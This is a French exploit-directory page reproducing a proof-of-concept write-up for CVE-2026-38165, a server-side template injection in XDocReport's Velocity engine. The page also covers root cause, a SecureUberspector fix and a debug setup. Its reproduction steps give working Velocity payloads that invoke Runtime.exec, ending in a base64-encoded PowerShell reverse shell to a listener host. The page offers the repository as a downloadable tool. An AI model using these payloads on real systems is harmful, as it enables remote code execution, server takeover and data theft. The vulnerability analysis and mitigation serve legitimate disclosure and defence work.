Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
Outils/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-38165 (SSTI Velocity)

Injection de modèles côté serveur (SSTI) dans XDocReport permet l'exécution de code à distance via le moteur Apache Velocity

Définition de la vulnérabilité

Vue d'ensemble de la vulnérabilité

  • Server-Side Template Injection (SSTI) est une vulnérabilité de sécurité web qui permet à un attaquant d'injecter du code malveillant dans les modèles (templates) utilisés par les systèmes de gestion de contenu (CMS) et les frameworks web, afin d'effectuer des attaques distantes, de récupérer des informations sensibles ou de mener des activités d'intrusion système.

  • SSTI est une variante de la vulnérabilité d'injection (comme SQL Injection, XSS, etc.) dans laquelle l'attaquant exploite l'utilisation de systèmes de templates pour déployer du code malveillant à distance. Lorsqu'une attaque SSTI réussit, l'attaquant peut exécuter son propre code sur le serveur côté serveur, ce qui lui permet d'effectuer des attaques distantes, telles que la collecte d'informations sensibles, la réalisation d'activités d'intrusion système et l'accès à des ressources non autorisées.

  • La vulnérabilité SSTI survient généralement en raison de l'utilisation de systèmes de templates non sécurisés, ou de l'absence de vérification et de traitement des paramètres d'entrée avant de les insérer dans les modèles. Si une attaque SSTI réussit, les conséquences peuvent être graves et causer des pertes importantes pour l'organisation attaquée.

Impact commercial

  • La vulnérabilité SSTI peut avoir plusieurs conséquences graves, notamment :

  • Exécution de code malveillant : L'attaquant peut utiliser cette vulnérabilité pour exécuter du code malveillant sur le serveur, permettant le vol de données, la réalisation d'actions illégales sur le système, voire le contrôle total du serveur.

  • Divulgation d'informations sensibles : SSTI peut permettre à un attaquant de lire, modifier ou supprimer des fichiers sur le serveur. Si ces fichiers contiennent des informations sensibles, comme des comptes et mots de passe, l'attaquant peut facilement divulguer ces informations.

  • Attaques de menace ou d'escroquerie des utilisateurs : L'attaquant peut utiliser SSTI pour mener des attaques de menace ou d'escroquerie des utilisateurs en modifiant le contenu du site web ou en ajoutant de faux boutons personnalisés. Si les utilisateurs cliquent sur ces boutons, l'attaquant peut voler leurs informations ou installer des logiciels malveillants sur leur ordinateur.

Gravité CRITIQUE

image

Description et impact

fr.opensagres.xdocreport.template.velocity

Une vulnérabilité d'injection de modèles côté serveur (SSTI) a été découverte dans OpenSAGRES XDocReport lors du traitement de modèles DOCX avec le moteur Velocity. Sous certaines configurations, des modèles conçus de manière malveillante peuvent conduire à une exécution de code à distance (RCE).

Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise le moteur de template Velocity (dans le fichier) pour afficher le contenu sans aucun mécanisme de contrôle ou de filtrage des entrées. Cette vulnérabilité permet à un attaquant d'injecter des expressions malveillantes dans le fichier .docx (template), conduisant à une exécution de code à distance (RCE) sur le serveur, pouvant être exploitée pour voler des informations ou prendre le contrôle du système.

Composant affecté

fr.opensagres.xdocreport.template.velocity — XDocReport (versions <= 2.1.0).

Analyse de la cause racine

https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

image

velocityEngine.evaluate(...) est la méthode standard/« par défaut » d'Apache Velocity pour évaluer un template à partir d'un Reader (ou d'une String) en utilisant un Context et en écrivant dans un Writer. Elle exécute la syntaxe VTL (Velocity Template Language) comme Template.merge(...)

Différence réelle entre evaluate et Template.merge

  • evaluate : parse depuis Reader/String → pratique lorsque le template est dynamique/non fiable.

  • getTemplate(...).merge(...) : charge le template déjà traité par le chargeur de ressources (mise en cache, encodage…), puis merge. En termes de capacité d'exécution VTL, les deux exécutent les mêmes expressions ; la différence réside principalement dans l'emplacement/mode de chargement du template.

Étapes pour reproduire

  1. L'utilisateur télécharge un fichier .docx contenant la payload suivante :

image

root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  1. On constate que la commande système est exécutée avec succès

image

  1. De même avec la payload suivante :
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

image

  1. De même
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

  1. Élévation d'impact vers RCE
  • La machine d'écoute est wsl avec l'adresse IP 172.26.208.130

image

  • exploitation avec la payload suivante :
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  • Passage du fichier .docx au traitement par xdocreport

image

  • On observe un shell retourné sur la machine wsl

image

Solution

  • https://github.com/opensagres/xdocreport/pull/723

Bloquer l'accès à la réflexion dangereuse dans le template.

root@kitploit:~
velocityEngineProperties.setProperty(
    "runtime.introspector.uberspect",
    "org.apache.velocity.util.introspection.SecureUberspector"
);

La classe Apache Velocity SecureUberspector est un introspecteur sandbox.

SecureUberspector bloquera :

  • java.lang.Runtime
  • java.lang.ClassLoader
  • java.lang.Process

Liste des classes bloquées

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.classes",
    "java.lang.Class,
     java.lang.ClassLoader,
     java.lang.Process,
     java.lang.Runtime,
     java.lang.System,
     java.lang.Thread"
);

Bloquer le package reflection

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.packages",
    "java.lang.reflect"
);

Bloque :

  • java.lang.reflect.Method
  • java.lang.reflect.Field

Configuration de l'environnement de débogage

  • dans le fichier Main.java
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Lire le fichier d'entrée contenant l'expression Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // Fichier d'entrée
            InputStream input = new FileInputStream(docxTemplate);

//             Charger le template en utilisant Velocity
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);



            // Créer le contexte - peut être vide si on teste juste une expression indépendante
            IContext context = report.createContext();

            // Exporter vers un nouveau fichier
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Fichier result.docx créé avec succès.");
        } catch (Exception e) {
            System.err.println("❌ Erreur lors du traitement du fichier :");
            e.printStackTrace();
        }
    }
}
  • Bibliothèque à importer
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Moteur de template : FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Analyse de débogage source sink

  • report.process(context, out) — c'est le point où le template est rendu/écrit dans le fichier

image

image

image

image

image

image

image

image

image

image

image

image image

image

image

Documentation

  • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link
Télécharger l’outil